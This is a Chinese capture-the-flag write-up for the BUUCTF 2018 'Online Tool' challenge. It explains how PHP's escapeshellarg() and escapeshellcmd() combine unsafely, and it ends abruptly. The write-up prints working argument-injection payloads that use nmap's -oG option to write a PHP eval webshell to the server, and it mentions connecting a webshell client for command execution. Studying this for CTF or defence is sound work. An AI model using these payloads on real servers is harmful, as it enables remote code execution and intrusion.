nmap和escapeshellarg()函数、escapeshellcmd()函数的RCE使用
来自:
[BUUCTF 2018]Online Tool
wp可以看:https://blog.csdn.net/weixin_44077544/article/details/102835099
真的很有感触,为什么我只会看wp写题,而不是看知识点写题,更别说独立解题了。
唉,道阻且长。
这次我将一改我之前wp的作风,先介绍原理,再写题。
nmap的写入文件操作
使用-oG是可以写入文件的,形如:
namp <?php phpinfo(); ?> -oG 1.php
函数介绍
escapeshellarg()函数
escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,
并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec(),system()执行运算符
//1,确保用户值传递一个参数给命令
//2,用户不能指定更多的参数
//3,用户不能执行不同的命令
escapeshellcmd()函数
escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。
反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$,\x0A和\xFF。'和"仅在不配对的时候被转义。
在 Windows 平台上,所有这些字符以及%和!字符都会被空格代替。
//1,确保用户只执行一个命令
//2,用户可以指定不限数量的参数
//3,用户不能执行不同的命令
实例
借用沐目_01师傅的解释:
'<?php eval($_POST["a"]);?> -oG 1.php '
现在来看题吧:
打开就是这个东西。
首先前面的SERVER没什么用,这个X-FORWARDED-FOR和REMOTE_ADDR只是用来获取IP的。
关键在下面,$host经过了escapeshellarg()和escapeshellcmd()函数,前者会给我们写入的payload里两边加上单引号,后者会给单引号 ' 转义变成 \' 。
而nmap的-oG命令可以写文件,那么我们可以考虑写一个一句话木马。
绕过原理如下:
<?php @eval($_GET["cmd"]);?> -oG 1.php ' '<?php @eval($_GET["cmd"]);?> -oG 1.php '\''' '<?php @eval($_GET["cmd"]);?> -oG 1.php '\\''\' '<?php @eval($_GET["cmd"]);?> -oG 1.php ' ''\''<?php @eval($_GET["cmd"]);?> -oG 1.php '\''' ''\\''<?php @eval($_GET["cmd"]);?> -oG 1.php '\\''' -> \<?php @eval($_GET["cmd"]);?> -oG 1.php \
传了直接看到回显:(记得末尾有个空格哦)
这一串数字应该就是目录,可以连蚁剑,也可以直接hackbar用systemRCE。
或者: